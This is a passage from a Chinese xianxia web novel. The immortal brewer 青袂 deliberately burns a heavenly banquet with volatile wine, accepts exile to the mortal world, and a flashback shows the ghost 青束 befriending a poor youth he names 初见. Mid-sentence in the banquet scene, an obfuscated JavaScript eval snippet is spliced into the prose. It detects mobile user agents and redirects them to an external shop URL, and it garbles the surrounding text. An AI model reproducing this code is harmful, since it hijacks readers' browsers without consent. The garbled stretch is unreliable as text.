青袂嘴里一直念叨着这个名字,指尖在桌上随意的画着。 前半生为厉鬼的青袂,怎么也不肯信什么邪魔外道。他最后也没能去尝遍人间苦便来了天上,对待任何都只有自己的见解,更是没有人来评判他的对错。他一直特立孤行的酿酒。他只知道鬼是没有梦的,可神仙却能做梦,可他又偏偏是从未梦到过的什么。 三百年的飞升上神,没能断了他的俗想。 “上仙。” “把酒抬过去吧。” “是,上仙。” 仙童们离开时青袂还听见他们的议论。 “这青袂上仙的酒,终于可以喝到了!” “每年喝茶什么的,我都要腻死了。” “喝个茶都能把你腻死!” “真是太好了。” 青袂只是淡淡的笑笑,孤身站在殿门外看他们走远。 待他们走远了,好整以暇的收拾收拾,去了白莲池旁。 他坐在池边,观赏池中白莲,那白莲娇滴滴如同少女抹上粉黛,含羞眼看。 鬼界有一座和神域白莲池相连的红莲池,白池里白鲤游游,尾部如轻纱摇摆一深一浅的明暗,池底沙石可见,没有一件凡物,都是一雕一琢的好东西。而鬼界红莲池在主城,池中白骨萋萋,池底红海一片。 “我不想一个人。”青袂顿了顿,“也不想再听你说又要我一个人。” “青袂上仙?” “嗯?”青袂回过神,起身从容不迫,他拍拍衣裳,俯首作揖,“白狐上仙。” “青袂上仙还是这么客气。”她也朝青袂微微低首,青袂站直身看她,白狐上仙,这位如同画里走出来的神仙,世间女子信奉的女神仙,有着极美的容貌,也是世间女子所慕的,“听闻青袂上仙今年要来酒宴,还备好了美酒。” “嗯。”青袂淡淡的应了句,白狐上仙也走到白莲池旁,“这白莲古怪,几百年不见开一次,今天开的极其妖,也难怪,大概是今年酒宴有美酒,它也闻到了酒气想让青袂上仙赏上几瓢。”她半捂着面轻轻一笑。 “白狐上仙夸奖。”青袂也回应她一笑。 “青袂上仙可否和我一道去宴上?” “请。” 白狐上仙礼貌一笑,走在前面,青袂和她一起,可刚没走几步,青袂便停下。 “青袂上仙?” “抱歉,青袂想起什么东西忘拿了。” “无事,青袂上仙且去。” “青袂告辞。”青袂转身离去,白狐疑惑的看着青袂离开不疾不徐的步子,本想说可以再等他的,只好自行去了酒宴。 硬是几百年来的淡如水,未有一次醉生梦死,实在无趣。 3. 神域青袂数百年(二) 酒宴上,左右两边坐着仙家畅聊,帝君坐在最高处,有的仙子端着托盘给仙家们端茶送酒,还有些上仙也在其中凑热闹,有什么吃的便拿什么,好不一派融融景象。 青袂寻得另一条路到达了殿前,只是站在门外,有人认出他他就笑一笑,和他说话他就应和,也不进去,真有一种来当门神的架势。 他转身离开去换元山。 “难得今年看到你了。”帝君坐在高堂,酒宴还未开始,许多仙家都已经入座,聊着自家琐事,“青袂这次?” “谁知他这小兔崽子,可能是今年难得来了兴致,别担心,他就回去取酒罢了。我觉得这次的酒不简单。”青君吃着果子,和帝君卖关子。 “哈哈。那看来今年琅郎的脸色可能要挂不住咯!我都要知道你这徒儿的脾气了。”帝君哈哈一笑。 “琅郎啊?我都好久没见他了!”青君一拍手,“哎,也好久没喝他的茶了。” “他可一直准备着,就等你家徒弟出手了。”帝君半掩着面,对青君道。 青君依旧只爽朗一笑,“那就等着,我对我的徒儿,还是很自信的。” 青雏坐在他身边,神色却是有些不安。 “照青君这样说,今年有好酒可喝了?”常明款款而来。 “诶,来!坐坐坐。”青君拍拍旁边的位置。 “今年常明也来啊。”帝君笑的合不拢嘴。 常明笑笑,坐到青君旁边,“青袂的酒,我也挂念很久了。”说着她环顾了一下四周,悄声道:“琅郎的茶确实把我腻着了,这不听说青袂上仙要来吗,只是平时随时酿给青君,可让我好生羡慕。” “常明娘娘折煞我也。”青君赶紧道,“我这徒儿可不能再给我长脸了,青雏可要好生学习你师兄才是。” “是。”青雏小声道。 神仙们好酒好菜吃着聊着时,青袂独自闲步换元山。这换元山灵力充沛让人身心舒畅,青袂所过之处花草都如同喝醉了般左右摇晃,隐隐听见生灵之间的低语。 “山神又把青袂找来啦!” “今天是酒宴,青袂又没去啊?” “可我明明听见小仙童说青袂今天要去的,怎么又来这里了?” “还不是那个小妖怪!” 青袂充耳不闻面带微笑,走的每一步看的每一眼仿佛都只是过过场罢了。 换元山恬静中带着热闹,风吹都挠的心痒,那抽抽的嫩芽新条青袂无福所见,只听那叮咚流水与神域乐坊仙子弹奏的歌谣不相上下可比,山间鸣翠,地缚的小妖精跑来抓他衣角,一路上是越走越沉。 也是他自己给自己找罪受,明明是可以腾云而起直达山顶,他偏要一步一步走,让小妖精缠上当了回免费的马车使,等到了寺庙它们才悉数散去,嘴里叨叨这神仙真傻。 青袂看着红漆大门,不落一粒尘,虽说重归直来直往的,但这儿打理的依旧是极好,庄严肃重却又不是亲近。 青袂收了收衣袖,把门推开。 红木门吱呀而响,沉稳的打开,蜡烛摇曳,山神的神像立在正中间,青袂依旧是忍不住笑了。 他每次看到重归的神像都想笑,凡人把山神的形象和土地公公的神像巧妙的结合在了一起,殊不知这山神本是英荣俊貌玉立之身,到这儿了反而是垂垂老者。 他把木门关上,庙里光线暗了些,青袂虽是神仙,但依旧是虔诚的上前去拜了拜,尊重同行就是尊重自己。 “你自己是神仙还要拜。” 梁柱上跳下来那红衣服的小妖怪,腿上被绑着地缚铃,青袂一听声音就知道是重归怕他跑了又怕自己应付不过来给他绑的。 地缚铃只能束缚自身的修为法术却无法束缚行动去向,青袂已经感激这小妖怪没趁着自己走山路而跑了。 青袂一身青衫拂袖转身,看那小妖怪熟悉的面孔,温和道:“你又犯什么错了被抓来了?” 小妖怪一副少年天真的面孔,黑靴上刺绣着一朵青袂到现在还分辨不出来的花儿来,那花儿半有花瓣又半无,鲜红切冶,又妖而不华,看一眼也只是让人倦怠罢了。 “我把山下小妖精打了一顿,它们告诉了山神,然后就把我逮来了。”小妖怪气昂昂的说,丝毫不见悔色。 青袂毫无架子的坐在蒲团上,拿出怀里的两瓶酒,一瓶放在自己的身边,自己打开另一瓶,“打那些小妖精作甚,自己惹了一身的疲惫。” “你管得着我?”小妖怪斜眼看他一袭青衫落地,又看向他身边的酒。他自然是知道这好欺负的酿酒仙官,没事就会被山神请来看山,山神是不是请他不知道,但他知道这酿酒的闲是真的闲。 “地缚铃束地缚灵,束灵不束身。”青袂看着他脚踝,淡淡道,“今日帝君酒宴,我好不容易去一趟,却要来看着你。” 小妖怪向前走了几步,一阵铃响,却是没有坐在蒲团上,而是就地而坐拿起青袂身旁的酒,“你不像是想去的模样。” “热闹归热闹,热闹不归我。”青袂笑着看着他,“你以后少打架,这次以后,我可能会许久不再来,又或者是不再来了。” 小妖怪皱眉,喝了一口闷酒,又辣又呛,然后责怪的看着这毫无波澜的酿酒仙官,“你终于开窍了不帮讨命鬼守山了?” 讨命鬼是这小妖怪给山神取的绰号,青袂自己都不知道给他提了多少醒,要讨命也是讨命的神仙,不是鬼,但他就是听不进去。 青袂大有一种“你这孩子怎么不听劝”的模样看着他,完全忘了自己也是听不进劝的性子,语重心长的对他说:“你得听话,莫再到处寻欺负,打架也是作祟,况且何苦去打那些不还手的小妖精,你好好修炼,不要再只做一只小妖怪了。” 小妖怪喉咙依旧辣的厉害,呛得眼角都湿了。这酿酒的还有几分闲情雅致来管他,自己身为酿酒仙官却是酒是何种味都不知道,当个神仙也是毫无波澜,他也不是没逗这神仙玩过,只是他每次都是满嘴的“不可”,倒像是那未入喉的酒一样平静。 这回依旧,这小妖怪捻起青袂的青衫,一身的苦涩,他虽每次都说青袂身上这味儿难闻,但自己内心是非常喜欢的,别人觉着这味儿苦,但他总觉得很是安心安神。 “不可。”青袂一如既往道,声音沉缓。要是让重归知道一个小妖怪对青袂这样无理依旧是不管不顾,大概会责骂他一声“你真是老糊涂了”。 小妖怪笑起来时嘴角两边有梨涡,很是好看,“青袂上仙,三百年由鬼成神?” 面对小妖怪这样的轻薄,青袂也就当是被小孩儿抓着衣裳耍赖皮一样,“只要多祈福,奇迹总会有。” “……”小妖怪占便宜的扑向他,脚踝叮当作响,青袂被他这一撞差点没稳住自己的老腰,只听这越发无礼的小妖怪在自己耳边道:“那你成了神仙还要祈福?” “天佑福祉。”青袂耳根子有些发痒,把他轻轻推开,“所以你每次不要只坐在地上了,还会着凉受罪。” “我是妖怪,还怕着凉这点罪?” “妖怪也疼。所以你不要再把金锁给了我,自己留着去吧。”青袂把小妖怪刚才又偷偷塞进自己衣衫的金锁还给他。鬼界生灵天生皆自带一对金锁,青袂的早就不见了。 “你们神仙都这么死脑筋。”小妖怪不满道,起身站了起来。 “这可不是死脑筋。”青袂无奈的笑道,“你还小,等你寻得良人便将这金锁送出去,一生一对,一生一堆。”青袂也站起身来:“重归上仙把你关在这里就是好好思过,脑子里不要成天的打架,就算是打架也跑得快些,不要再被重归抓着了,我得走了。” “走?你去哪里?”小妖怪跟上他。 “我耐不住,便是去酒宴上偷一杯酒来喝。” “你去偷你自己的酒来喝?”小妖怪忍不住笑他,“你自己酿的没给自己留一杯?” 青袂风度的笑了,“我没想过会来守着你。”言罢,这位身穿青衫的上仙的头也不回的出了那红漆大门。 小妖怪看着被重新合上的大门,关上前依旧是那位酿酒官来去自如的青衫身影,依旧是坐回地上,看着那壶又辣又呛的酒。 自己明明已经私了两壶酒,还要去酒宴,真的有那么馋吗? 酒宴上。 等好菜已经上齐全的时候,那一壶浅念酒终于送到了青君手边。 那酒一上桌,青君就端起酒闻了闻,顿了顿,迟疑的看着酒,这酒…… “快把酒撤下去!”青君把酒杯放下,一拍桌子提醒大家,奈何时候以晚。 “烧起来了!不好了!” “什么东西烧起来了?!” “酒!不!酒杯!不对!全烧起来了!” “扑不灭啊!大家快走!” 青袂算好时辰的站在殿外,直等到那大殿内的一阵惊呼声才回过神来,憋着一口气,不知多久没跑过的身子难得跑了起来。 浅念酒瞬间将酒宴变成火场,有些仙家粘上了火种,甩也甩不掉,怎么扑都扑不灭,满场子到处跑,所有人急得像热锅上的蚂蚁。青君气的眼红,他被青雏推了出来。 青袂跑进来,看到此情此景,拿出白色粉末,撒向空中,拿衣袖扇,让它们散开,而它们也如同有了灵性,争先恐后的扑向大火,将大火扑灭。刚才还气势汹汹的大火,也被这青袂随手撒的粉末扑灭,大火扑灭后,一片白气散开,不一会儿便消失。 仙家们还没反应过来,身上都沾上了白色粉,包括青君和帝君,白狐上仙还在刚才没有反应过来,不可思议的看着青袂。 帝君反应过来后勃然大怒,指着他,“青袂!” 青袂上前几步,没带犹豫的直接扑通跪下,“青袂知罪。” “……”帝君听着这膝盖一声自己都有些疼。 青君摇着轮子最先过来,青雏都差点没跟上,然后指着青袂,“你知什么罪?!啊?你说你知什么罪!” “师父,是徒儿疏忽了。”青袂跪在地上,面不改色的认错。青君脸上还有白色粉,青雏给他擦擦他都打开,都已经顾不及形象。 “你用浅念酿酒?谁允许你的!” “徒儿这次想尝试新的酒,谁料疏忽,少加了一味配方,便是刚才撒的白色粉。”青袂呈白色粉到青君面前,青君一掌拍开。 “青袂上仙那时莫不是忘拿的就是这白色粉?”白狐上仙上前,看了看地上的瓷瓶。 “是。可青袂来迟了,请帝君恕罪。”他何止来迟,他还跑到山里去闲逛了一圈和小妖怪喝酒。 帝君拿着白布擦着脸,台下都不敢帮他说话,也不敢再奉承帝君。 “青袂,你觉得你现在脸上有诚意吗?”帝君一把把白布扔到一旁问他。 仙家中有一个人笑着走出来,是琅郎,“帝君息怒,琅郎看来,这场来也匆匆,去也匆匆的不灭火,怕是也只能怪青袂上仙一人了。” “你什么意思?!”青君第一个不满,他看向帝君,“帝君,想来青袂初犯,他只是想这次让大家喝得好酒,便大胆尝新。此酒名为浅念酒,生性烈得很,可以燃烧任何东西,喝下去却奇美无比,此酒只适用于立刻,但是从酿酒殿过来的路程实在耽搁,才……” “可我听青袂上仙刚才所说,好像是因为他的疏忽,少加了一味配方?”琅郎打断。 “胡说!那只是克制浅见酒,并没有什么配方。”青君大手一挥,回绝他。 “青袂上仙不可能不知道酿酒殿到这儿的路程吧?若是胸有成竹,这未免也太拿我们开玩笑了,大家说是不是!” “是!这酒烧的我衣服都缺了一块儿!” “可吓死我了!扑都扑不灭!” “这酒怪异得很!莫不是有什么!” “我今儿才换的新衣服!” 青袂依旧跪在地上,帝君看着他,“青袂,我怎么看你一点都不怕呢?莫不是有个护你的师父,让你有恃无恐?” “帝君误会!这小崽子平常就这样,被误会了也只知道一人担下来。”青君朝青袂小声道,“小兔崽子,还不说些什么!” “师父,青袂无话可说。确实是徒儿的错。是徒儿大意。徒儿知道错了。” 青雏一言难尽的看着自己平时沉默寡言,郁郁寡欢的师兄。 青君差点被他气过去,“得了,你先给我闭嘴。帝君……” “青君,你且先让青袂一人说,你不必袒护他。”帝君做个停的手势,他也不想为难青袂,可青袂一直将此事所有担子全盘接受。 青袂磕一个重重的响头,“青袂知罪。” 青君:“……” 青君就差给他扑上去给他几个大嘴巴子把他打清醒了。 “此事全是青袂一人所做,白狐上仙和重归上仙知道。” 被莫名点名的白狐一愣,指着自己,“我?” 重归衣服刚烧了半边,也一愣:“还有我?” 白狐还没想到,这青袂犯错,振振有词的承认自己的罪行,还要拉来她坐实他的错?而重归没想到,这振振有词的青袂也会让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990880|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来帮忙给他底气。 “是。”青袂淡淡道。 “白狐,重归,你们且说说。” “我,我不知道啊。”白狐急忙摆手。 “这……青袂上仙要如何?”重归为难道。 “白狐上仙一开始也说了。白狐上仙和我一道而来,青袂一开始本就赏莲耽误,和白狐上仙走了一段才想起,却又忘记重归上仙请我守山,这一来二去,青袂糊涂了。此事全是青袂疏忽大意。”青袂说的振振有词,让青君一时间都找不到什么理由再给他开脱。 “你赏什么?”青君下意识的问他。 琅郎俯首,“帝君,此事必须得罚,不罚恐大家都说不过去,这一年一次的酒宴全让青袂上仙一人搞砸。” 帝君有些头疼的揉着自己的眉心,真的是越想越气,看着青袂那张毫无悔意的脸更气,“青袂,你疏忽放火烧酒宴,你可认?” “认。” “帝君,你莫不是要我跪下。我甚是喜欢我这徒儿,若是青袂当罚,请帝君也同我一道惩罚,毕竟青袂是我教出来,是我教导无方。”青君挡在青袂面前,“青袂从飞升上神,一直表现绝佳,这次实在是不得已。” “青君,这儿除了你,还有人帮他说话吗?”帝君看着青君,“你这徒儿性子古怪,在座的各位怕他都得罪了个遍,今天连上我整个神域算是齐了。”帝君嗤笑。 青袂微微恍惚。 “帝君,念在青袂这个绝世好苗子,酿得一手回梦佳酒,加上平日我给帝君捎来的酒,全都是青袂一人所酿。我想,那酒也帮帝君解了不少心事。”青君看一眼青袂,轻咳一声,青袂才有些茫然的看向他。 帝君一时哑然,微微叹息,“可你这徒弟已经全认了,该罚的还是要罚。青君,你不必再说。” 帝君和青君关系很好,帝君不念美酒,也要念这份情。 “青袂,即日前往凡间渡劫重修,你既生前未尝苦楚,现也当是你应得的。” “是。”青袂头上磕出一块红,坦然接受。 “青袂,我看你毫无懊悔之心?” “青袂深知,事已定局。” 帝君看青君脸色依旧铁青,“且都退下吧。大家也不必苦恼,酒宴择日重办。青君,我想我已经对你徒儿很宽容了吧?” “帝君说的是。”青君挤出一个比哭还难看的笑,“给我起来!” “师父……”青袂站起身。 “回去算账。”青君咬牙,“走啊!”身后的青雏浑身一哆嗦,求助似的看向青袂,青袂对他一笑,自己来推着青君走。 青袂推着青君出了大殿,走过白狐身旁,她看青袂的眼神依旧有些古怪。他这分明就是有意而为,和她一道来时,他就发现了青袂的敷衍,哪里是一道来行了一段路程,分明是垮了半步不到便折回,从始至终也没看出他因少了配方而懊悔。 “你是想气死我吗?我明明都可以给你开脱了!”青君不满的说。 “师父,你这次为徒儿开脱,徒儿下次怎么办?”青袂半开玩笑的说。 “你还有下次?你知道神仙渡劫是什么吗?你当初受八佰提拔,自然容易,神仙为什么要下凡渡劫?为什么把去凡间当作惩罚?你都知道吗这些!” 青袂轻快的笑道:“明白。这段时间便只有青雏照顾师父了。” 默默走在一旁的青雏被这一点名猝不及防。 “我怎么感觉你争着抢着要下凡?你现在下凡,我怎么感觉不出几个时辰就要滚上来?你别以为我没看见那花苑子里的花,他们怎么还没被淹死?”青君双手抱在胸前,好不气的说。 青袂笑笑没有再反驳。 他既这么大胆,自然有所持。一场酒宴能烧得了什么,烧的一群傲气仙家的兴致,他这下凡又可以成全什么,成全那些没能喝到美酒被他气一身如琅郎的仙家们的恶气。他坚信青君要保他,坚信琅郎必定会借此机会助推一把,帝君为难,众仙家心中过不去,要打不打残怎么可能出得了恶气,打残了青君如何过得去,关一阵他们又如何出得了恶气,这种节骨眼,不让他滚下去吃苦他自己都说不过去。 这大概就是他的恃宠而骄了吧。 “那徒儿岂不可以快些回来?” “你怕是没死过。”青君啧道,然后话一出竟然有些后悔。 “徒儿本来就没死过。徒儿从前为鬼时,过得就很是惨淡。”青袂把青君推进酿酒殿时,依旧不忘看看白莲。 青君听他这一话,已经是完全后悔了,“你着急下去,可是去寻谁?” 青君跳过这个话题,有意无意一说,差点让青袂脚上一磕来个平地摔。 “徒儿寻谁?” “你从前不作恶不吃人不犯戒,你怕不是要出家,成为鬼界第一位鬼僧。但鬼界游人畔,是你一直呆的地方。” “师父莫要再笑话徒儿了。徒儿在凡间时,师父务必好好照顾自己。”青袂把青君送回房间,“过不时,徒儿便是要睡去了,就当徒儿终于能梦一场了。” “你说你,我明明再多说几句,就可以让那个琅郎闭嘴。你平常那些神仙没找你守过山看过湖吗?人间还没玩够?”青君狠狠地戳戳他的脑门。 青袂愣愣的揉揉,从怀中拿出手帕给青君,“徒儿只是想成为人再去人间走一遭。” 青君结果手帕擦了擦自己的脸,有些无奈的叹气:“想了多久?” “……三天。” “……你三天就决定滚下去?你是在酿酒房里呆傻了是不是?”刚才还有些心疼的青君一下子更气了。 “是……吧?”被青君这么一说,青袂一瞬间竟然答不上。 “等你走了,我还要去帝君那里一趟。” “师父不必再为徒儿……” “想什么呢想什么呢?我就找他喝喝酒。” 青君继续道:“你恐怕是要拿出你的酒,就能给他们说把你扔哪里去了。”这倒是提醒了青袂,“然后又成为神域第一个下凡渡劫还挑地方的神仙。” 青袂这回是真没忍住笑出来。 “就是这样,要笑便笑,不要总还像个凡人,还那么多愁善感。”青君赏他一个白眼。 “嗯。”能有多少多愁善感,他只是不想像那些老神仙一样整天一副高人在上,扬言要超脱俗世,这和他在凡间鬼界有何区别?几千年辗转,唯一沾染到的尘世,当初也只是为了填饱肚子,但就因为如此,他才有了几千年的无尽等待。 尽管他现在依旧执着当初的执着。 4. 厉鬼青束十年 他醒来时迷茫的望着游人畔,忍不住的四处张望,他感觉自己好像什么都知道,又好像什么都不知道,这感觉很奇怪。 因为他知道这里是游人畔。这里活人没有,死人不多,是鬼怪度轮回的地方,却又一时想不清为什么。 他站起身来,手心里一阵刺痛,翻过来看,那里俨然写了一个“束”字。 这个字写的真可谓是鲜血淋漓,他甚至可以看到自己的白骨,可血已经不再流了,伤口附近都是发黑。 他不记得自己的名字了,既然手上有个束字,那他便叫束吧,这样刻在自己手上,便是有特别的意义。不过这鬼界,没有名字的鬼都是孤魂,那他便得姓鬼了,就叫鬼束吧。 他一点也不在意也不怪是谁给他刻在了手上。 鬼束跌跌撞撞的爬起来,走出了游人畔,许多厉鬼都对他爱答不理的。那时候他还没想过去人间,只是觉得走到哪里都无聊极了,无事可做,肚子也很饿。 他随意的躺在大街上,像他这样躺在大街上的“死尸”有许多,再多他一个一点也不奇怪,奇怪的是来找他说话的另一个鬼。 他自然是分不清人鬼,但是能在这地底下的,除了鬼他也没想过其他什么。 “你躺在这里作甚?”他站在鬼束的头顶低头看他,脸上化着大花猫似的妆,极丑,丑到配不上他那一身的青衫。 不过这么久这还是鬼束头一次被问话。 “我想躺在这里。”鬼束也不起来,就这样看着他。 “你在想?” 这话说的就如同他不会想似的,只有那干尸不会再想,他可是还会说会走的活鬼呢。 “我会。”所以鬼束才会这样说道。 那青衫被他逗笑了,蹲下来看着他,那大花脸贴近了几分,更丑了,鬼束也不免嫌弃的看着他,他的几缕头发也落在自己的脸上痒痒的。 “那你想去哪里?”青衫反问他。 想去哪里?这下子鬼束愣了愣,他也不知道自己要去哪里。他要去哪里?他想去哪里?他会说话,会走路,会识文断字,可他要去哪里? “不知道了吧。”青衫哼哼笑道,一副自己占了上风讨到便宜的模样,“你何不去人间一趟,这鬼界还有你没去过的地方了吗?” 鬼束一双眼睛看着他,他笑起来的时候两边的大腮红也要跟着笑似的,这就和鬼束看见鬼楼里朝他扔手绢的里的女人一样。 青衫见他发神,以为他是在犹豫,就继续道,“人间可好玩了,有许多你没见过的新鲜玩意儿,你知道自己在这里多久了吗?” 多久?鬼束细细的想起来,多久呢,几天?几年了?几百年?他有些记不清了。 “人间是亮的,没有这里这么黑,你可以去看看人,小孩、女人、男人,老人,什么样的人你都可以去看看,你还可以装作人的模样去认识一些朋友。你要是没名字是个孤魂,那我便给你取了名字,你就不再是了,可好?” “名字?”鬼束终于坐起身来离了那大花脸,“鬼不能给鬼取名字。” “你觉得我是鬼?”青衫惊讶道,“而且,谁说鬼不能给鬼取名字了?” 对啊,谁说的?鬼束又是一愣。 “况且,我知道你是有名字的,你的手心里单字一个‘束’,我都知道。这青青园中葵,朝露待日晞,你都没见过吧?这都是人间常有,你无姓,便叫青束可好?” 他接受了这个名字,因为这样自己至少不再是孤魂,至少是有了姓,并且在这位大花脸走后又在鬼界不知道呆了多少年,这才辗转去了人间。 人间春华秋实处处好风光,青衫果然没骗他,莺歌燕舞处处随,哪里都是新奇。可是这新奇归新奇,他也终于看见了那些所谓的人,这些人个个不一样,他们哭,他们笑,他们吵闹,分离重聚,都是好生的奇妙。今日这个人走了,明日那个人走了,有时走的是小孩,有时是老人,还有更多不同模样年龄的人,他还从未发现这时间竟然能让人的模样有这么大的变化。 只是这人间的天气诡异,有时下水有时有光,还会飘白白的像棉絮一样的东西。后来他才知道,那叫四季,那是春晓秋冬,那水是雨,光是太阳,棉絮叫雪。 他已经是许久没有吃东西了,个儿也从未长过,他依旧是不想吃人,自己也不知道是为什么。 青束在树干上躺着,肚子咕咕叫,“好饿啊……” “站住!” 青束一个激灵坐起身,看着一群男人追着一个背着背篼少年。 那少年疯狂逃窜,可前面就是悬崖。 青束痴痴的望着少年白皙的皮肤,他知道这个叫什么,在人间这叫追人,男子喜欢女子,女子喜欢男子,爹娘打骂孩子,人跟在狗后面跑,狗跟在人后跑,这都叫追,可一群男人追一个少年叫什么来着?——这个少年有许多爹吗? 他好奇的跳下树去跟上他们,这已经是他的习惯了,看到新奇就要朝前瞧一瞧。 “别……别过来!”少年已经跑到了悬崖边,喘着粗气看着万丈深渊,石头掉下去从来没有回响。 “还不还钱!”为首的男人举着大长刀,步步紧逼,少年慢慢后退。 “你们觉得我会有钱吗!”少年双颊通红,豆大的汗珠落下。 “没有钱便交命!”男人朝他冲过去,少年一吓,一个后退掉了下去。 “啊啊啊啊啊!——” 那群人皆是一愣,“老大,他……” 为首的头头吞了口水,走到悬崖边缘往下望了望,看着万丈深渊,忍不住连连后退。 “走!” 他们一群人撤退,青束赶紧跑过去。 青束趴在边缘往下望,探出一小截身子,他看到少年死死抓住贴在崖边的藤蔓。 “他下去作甚?他们不是你的爹吗?”青束呆呆的望着他。 “你……”少年望着他有些错愕,“那群人走了吗?你快回去,你这样也会掉下去的。” 青束不管他说的什么,抓住藤蔓往上拉。 “你……你干什么?” “我看见许多下去的人都死了,不过你这样好看的身边不都是有女人的吗?你为什么要死?” 少年听他这满嘴的怪言,对他道,“你快回去!不用管我!” 青束因为饿着肚子拉他微微吃力,但幸好少年也是轻飘飘的,青束咬咬牙,少年也配合的抓住藤蔓往上爬。 在快要拉上来的时候,藤蔓突然断开,两人皆是一惊,青束一个伸手抓住少年的手腕。 他的力气之大,一瞬间又使出了全部的力气,竟抓的少年有些疼。 “谢谢你……不过,你拉不上来的,放、放手吧。” “你为什么不娶女人?”青束问道,随后一鼓作气,把少年拉起来,少年蹬着岩壁往上爬。 他们躺在地上仰天喘气,青束只觉得两眼昏昏,开始有些恍惚。少年看了看手上被抓出印记,也不管他刚才胡言什么了。 “你、你没事吧?”少年把青束拉起来。青束看了看少年的手。 “好饿啊……” “什么?”少年贴近青束。 “好饿……” “饿?”少年一愣神,这才开始注意青束衣衫褴褛,浑身有些脏兮兮,“我、我还有一个包子,你要是不嫌弃……”少年把背篓放下,从里面拿出一个被包的严严实实的布,打开,里面一个菜包子。 青束一下子坐起身,眼睛里发光的看着包子,他自然知道这是包子的,他也吃过,好心的人见他可怜会扔给他一个,可也有其他人看见他会把他撵走,这少年不是卖包子的,却是给了他一个包子,所以他有些弱弱的问,“我可以吃吗?” “诶?”少年傻兮兮的看着菜包子,“你要是不嫌弃,就吃吧。” 话落,得到允可,青束便抓起包子狼吞虎咽的吃了起来。 “你慢点。”少年无奈的笑笑。可是青束依旧没几口便把包子吃完了。“你叫什么名字?” 青束咂咂嘴,然后再舔了舔手,“青束。” “诶,别舔手啊。”少年急忙抓住他的手,“我、我不识字,从小没人教我……” 青束看看他,依旧是吞吞口水,却拿起一旁的树枝,在地上写。 青束。 “你的字写的好看。”少年看着,略带羡慕的神情。 “你叫什么?”青束问他。 少年不好意思的挠挠头,“我从小是个孤儿,被养父母带大的……他们欠钱逃跑了,没带上我……” 青束听着那句“没带上我”,心里又是一阵疑惑。 “他们都叫我小白脸……” “啊?”据青束所知道,小白脸和大花脸不同,小白脸是鬼界的吊死鬼,在人间他看到的小白脸是满是男人的馆子里被女人打得那个。他的学习能力强,在人间时看到先生教自己的学生,自己路过了都会学些。 他记得一位先生说的“问姓惊初见”,却是不知道后面是什么,只知道那位先生说见到一位不认识的人惊忙的询问他的姓名,于是青束对他道: “你可以叫初见吗?” “初见?”少年愣愣,青束从他的表情中看到了迷茫与窘迫,他又拿起树枝,在自己的名字旁边写。 初见。 少年认真的看着青束写的这四个字,默默记住。 初见最后再仔细打量他,“你有去处吗?” 青束摇头,他现在依旧是很饿。 “我……我现在也是一个人,住在一间无人问津的破庙里,要是你愿意和我一起……” “我和你?”青束望着他。他知道的“一起”是男人和女人一起,“愿意”也是男人和女人之间的询问与请求。 “你要是不愿意的话……那、那……” “我可以和你一起?”青束依旧望着他,他在过去的几百年里,努力克制自己不要去违反了人间规则,每天饿着肚子,也一直是居无定所,四处漂泊。 “嗯!我们以后互相也可以有个照料!”初见脸上难掩的兴奋。 “那我们是在一起了吗?”青束继续问道。 初见也不知道他的在一起是什么,他便是认为青束问他是不是在一起互相照应,便点头。 “有吃的吗?”男人女人在一起后吃饭也是一起吃的。 “嗯……有是有,不过会有些难……吃的不是很好。” “会一起睡觉吗?”男人和女人在一起后是睡一张床的。 “如果你,你冷的话也可以,庙里可能不怎么暖和。” “好。”青束毫不犹豫的回答他,“那我们在一起吧。”人间里凡人成双的有许多,有时可能还不止是两个,可能一个男人还会有许多的女人,虽然他不是女人不是男人,也不是人,他依旧对初见道,“那你不能再去找别人了。” 初见站起身来,衣裳也没来得及拍,朝他伸出手,“你别怕,我就只和你在一起,我们回家,青束。”他想,恐怕也只有青束愿意和他一起,至少往后有人陪,多一张嘴他也不嫌弃,只要是有另一个人愿意陪着他。 青束有些傻愣愣的坐在了原地,已经太久没有人叫他名字了,也从未有人叫过他回家,不,他连家都没有。 “别坐在地上,会着凉的,我们走吧。”初见怕他后悔,把他拉起来,牵着他。 “一个人太久了,难免孤独。青束今年多少岁了?”初见拉着他边走边问,这一问,可把青束问住了,他伸出自己的另一只手,一个手指一个手指的数着,初见继续道,“我今年就快要十六了,青束就当是提前送给我的生辰礼吧。” 生辰礼?青束发现和初见一起,有许多他需要思考的东西。 “嗯……”虽然是鬼,但青束说话还是要经脑子的,差点说自己不是东西,又想着自己是东西,便没有说出口自己到底是不是东西,开始思考自己是不是东西。 “青束看起来不是很大,是不是和我差不多啊?应该要小点。”他一路上一直在说,一直说到他们走到了破庙。 “这座庙已经荒废了,听说以前供的是风水师,管收成,后来这里连连大旱,庄稼也没了,收成也没了,便没有人奉他,也被人遗忘了。”初见放下背篓,青束走进去,直接坐到草甸子上,像是一种习惯了。 可只见初见放下了背篓,便去叩拜那风水师,嘴里对青束解释道:“无论如何都是神,神是受人尊敬的,不管他能不能感应到我的祈福,多为自己求福到底是好的。” 青束好奇的看着他。 他一拜完,就把背篓里的草药全部拿出来。 “你身体很虚弱吗?”青束问。 “啊?……倒不是,可能因为家里的情况吧,以前就吃吃什么烂掉的东西……” “哦。”青束淡淡应一声,随手拿起一片草药,他看见许多吃烂东西死掉的人,“你都认识这些吗?” “不认识。没事的,我以前就吃这些,都已经一个一个试出来了,哪些有毒,哪些没毒,我都大致已经知道了。” 青束挪挪屁股到初见面前,“那你告诉我,哪些是好的,哪些是坏的,我可以记住,我以后也可以帮你一起上山。”男人女人在一起,家务是要分担的。 “你……以后要和我一起上山吗?”初见有些不敢相信。 “我们不是在一起了吗?”青束说,“那些爹还会来找你吗?” “那些不是爹……是追债的人。估计他们都以为我已经摔下去死了吧。”初见的笑有些凄楚,青束想来,这也许就是凡人在困苦时候常有的表情,这表情中总是要装载他们何其多的心绪。 “他们要是再来,我便帮你打跑他们。”青束把自己转化成男人,初见转化成女人,一个男人是要保护自己的女人的。 